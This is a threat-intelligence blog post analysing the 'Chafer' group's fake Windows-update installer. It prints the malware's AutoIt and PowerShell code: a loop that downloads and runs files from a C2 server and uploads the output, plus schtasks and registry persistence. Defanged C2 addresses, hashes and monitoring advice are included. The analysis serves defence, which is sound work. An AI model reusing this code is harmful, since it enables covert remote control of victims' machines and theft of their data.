Let's Learn: Internals of Iranian-Based Threat Group "Chafer" Malware: Autoit and PowerShell Persistence

vkremez.com/2018/03/investigating-iranian-threat-group.html

Goal: Reverse-engineer Iranian threat group update “Chafer” payload installer focusing on its persistence Autoit and PowerShell techniques.

> 3-22-2018: Iranian threat group #Chafer (thanks: @ClearskySec 👍) #malware
> Interesting persistence:
> $userver = "j-alam[.com"+/update.php?req= (nslookup DNS/TXT)
> PowerShell DL exec / registry & task scheduler
> Local C2: 107.191.62[.45:7023/update.php
> Intel: https://t.co/8IFNrm1zy6 pic.twitter.com/BL6qPf3FSk
> — Vitali Kremez (@VK_Intel) March 22, 2018

Source:

- Payload fake Microsoft installer “Windows-KB3101246.exe” (MD5: 804460a4934947b5131ca79d9bd668cf; Original timestamp: Monday, July 31, 2017, 19:33:49 UTC)
- PowerShell script dntx.ps1 (MD5: 5cc9ba617a8c53ae7c5cc4d23aced59d)
- PowerShell script dnip.ps1 (MD5: 8132c61c0689dbcadf67b777f6acc9d9)
- nsExec.dll (MD5: b38561661a7164e3bbb04edc3718fe89)
- Autoit script “App.au3” (MD5: 263bc6861355553d7ff1e3848d661fb8) Original timestamp: Saturday, December 2, 2017, 11:08:48 UTC

Background:
While investigating payload from the Iranian actor group “Chafer”, I decided to dive deeper into the chain to observe and document some of the interesting persistence and anti-evasive behavior, deployed by the group (thanks to @ClearskySec for the sample).
Historically. Chafer is known for its surveillance operations targeting various organizations from airlines to engineering, which are primary located in the Middle East.
Outline:

I. Malware install
II. Autoit.exe installation
III. Autoit script “App.au3
IV. PowerShell script server<->client communications via DNS TXT and IP
V. Task Schedule as “SC Scheduled Scan”

I. Malware install
As of March 25, 2018, the initial malware binary masking as Windows-KB3101246.exe" notably appears to carry low detection ratio of 6/63 as displayed

on VirusTotal. The binary is also bulky, packed with NSIS with over 1.8 MB of size containing the Autoit3.exe script along with the PowerShell command, and the embedded nsExec[.]dll. The malware scripts left various clues as to the original operation and contains well-commented code. Additionally, the operators left commented out what appears to be the original server hxxp://107.191.62[.]45:7023/update[.]php

```
;============================ run powershell in assosation with $method
===============
Switch $method
    Case 0
   Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ &
$HOME & "dnip.ps1""" , '', @SW_HIDE)
  _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 0:" & $method & "\t
ExitCode:" & $exitcode)
  _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
    Case 1
  Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ &
$HOME & "dntx.ps1""" , '', @SW_HIDE)
  _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 1:" & $method & "\t
ExitCode:" & $exitcode)
  _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
    Case 2
  ;Local $SERVER="http://107.191.62[.]45:7023/update[.]php?req=" & $cname
  Local $SERVER="ht"&"tp:"&"/"&"/"& $userver&"/upd" & "ate."& "ph"&"p?req"& "=" &
$cname
  $Dwn= "powershell "" " & _
    " &{$wc=(new-object System.Net.WebClient); " & _
    "while(1){try{$r=Get-Random ;$wc.DownloadFile('" _
    & $SERVER & _
    "&m=d','" & $HOME & "dn\'+$r+'.-_');" & _
    " Rename-Item -path ('"  & _
     $HOME & _
     "dn\'+$r+'.-_') -newname " & _
     "($wc.ResponseHeaders['Content-Disposition'].Substring(" & _
     "$wc.ResponseHeaders['Content-
Disposition'].Indexof('filename=')+9))}catch{break}}}"""

  $Dwn = StringReplace($Dwn, "-_", "dwn")

  RunWait($Dwn, '', @SW_HIDE)


  $DownloadExecute="powershell "" " & _
       "&{$r=Get-Random; "& _
       "$wc=(new-object System.Net.WebClient);" & _
       "$wc.DownloadFile('" & $SERVER & "&m=b','" & $HOME&"dn\'+$r+'.-_');" & _
       "Invoke-Expression ('"& StringReplace($HOME, " ", "` ")&"dn\'+$r+'.-_ >" &
StringReplace($HOME, " ", "` ")&"up\'+$r+'-_');" & _
       "Rename-Item -path ('" & $HOME & _
       "up\'+$r+'-_') -newname ($wc.ResponseHeaders['Content-
Disposition'].Substring(" & _
       "$wc.ResponseHeaders['Content-Disposition'].Indexof('filename=')+9)+'.txt');"
& _
       "Get-ChildItem " & StringReplace($HOME, " ", "` ") & "up\ | ForEach-Object "&
_
       "{if((Get-Item($_.FullName)).length -gt 0){$wc.UploadFile('" & _
       $SERVER & _
       "&m=u',$_.FullName)};" & _
       "Remove-Item $_.FullName};Remove-Item ('"& $HOME & "dn\'+$r+'.-_')}"""

  $DownloadExecute = StringReplace($DownloadExecute, "-_", "bat")
```

```
  RunWait($DownloadExecute, '', @SW_HIDE)
EndSwitch
```

The malware contains various functions, including the following (the original orthography is preserved):

CheckDNSIP
CheckDNSTXT
MethodFinder (CheckDNSIP/CheckDNSTXT/CheckHttp)
RunWait("ipconfig /flushdns", '', @SW_HIDE)
Local $HOME = @UserProfileDir & "\appdata\local\microsoft\Taskbar\"
Create essential directory
read method from reg if not exist create registry value (registry persistence)
create task scheduler

II. Persistence

By and large, the malware primarily leverages the directory "%APPDATA%\Local\Microsoft\Taskbar\" (as from the original script: "Local $HOME = @UserProfileDir & "\appdata\local\microsoft\Taskbar\")for log and script storage.

A. The malware achieves persistence via task scheduler leveraging command-line arguments after its initial drop in %TEMP% leveraging Autoit binary freeware BASIC-like scripting language with the custom script "App.au3." The binary drops the Autoit3.exe execution along with the script to compile that runs via the schtasks feature.

%APPDATA%\<DROP_FOLDER.tmp>\DROP_BINARY.tmp\" schtasks.exe /create /F /sc minute /mo 1 /tn \"SC Scheduled Scan\" /tr \"'%APPDATA%\Local\Microsoft\Taskbar\Autoit3.exe' '%APPDATA%\Local\Microsoft\Taskbar\App.au3'\" "

The original malware Autoit persistence script is as follows writing the log file "Ex.log":

```
;============================== create task schedule
==================================
$txtStr = "schta"&"sks /create /F"&" /sc minute /mo 3 /tn ""SC Scheduled Scan""  /tr
""%userprofile%\appdata\local\microsoft\Taskbar\autoit3.exe '" & @ScriptFullPath &
"'"""
RunWait($txtStr, '', @SW_HIDE)
_FileWriteLog(@ScriptDir & "\Ex.log", "Method:" & $method)
```

B. Additionally, the binary launches itself also via batch leverage Windows Update Standalone Installer (**wusa**.**exe**), launched via dropped batch script "RunMSU" from the same "%APPDATA%\Local\Microsoft\Taskbar\"

echo off
wusa "%APPDATA%\Local\Microsoft\Taskbar\Windows6.0-KB3101246.msu”

C. Additionally, the malware achieves registry persistence as follows creating "UMe" and "UT":

```
;============================ read method from reg if not exist create registry
value =============
Local $epocTime = ((@YEAR - 1970) * 31557600) + (int ((@YEAR - 1972) / 4) * 86400) +
((@YDAY - 1) * 86400) + (@HOUR * 3600) + (@MIN * 60) + @SEC
Local $method =
RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe")
if @error Then
 RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe",
"REG_SZ", "0")
 RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT",
"REG_SZ", "0")
 $method = 0;
EndIf
Local $lastMethodFinderTime =
RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT")
if (@error or $epocTime - $lastMethodFinderTime > 400) Then
 $method = MethodFinder()
 _FileWriteLog(@ScriptDir & "\Ex.log", "newMethod:" & $method)
 RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe",
"REG_SZ", $method)
 RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT",
"REG_SZ", $epocTime)
EndIf
```

Possible actions:

1. Monitor %APPDATA%\Local\Microsoft\Taskbar\ for possible artifacts related to Autoit scripts and PowerShell script, linked t the group.
2. Monitor for possible communications to suspicious domains, launched via PowerShell on URI patterns update-[.]php?req=.
3. Monitor for possible scheduler task "SC Scheduled Scan."
4. Block C2: j-alam[.]com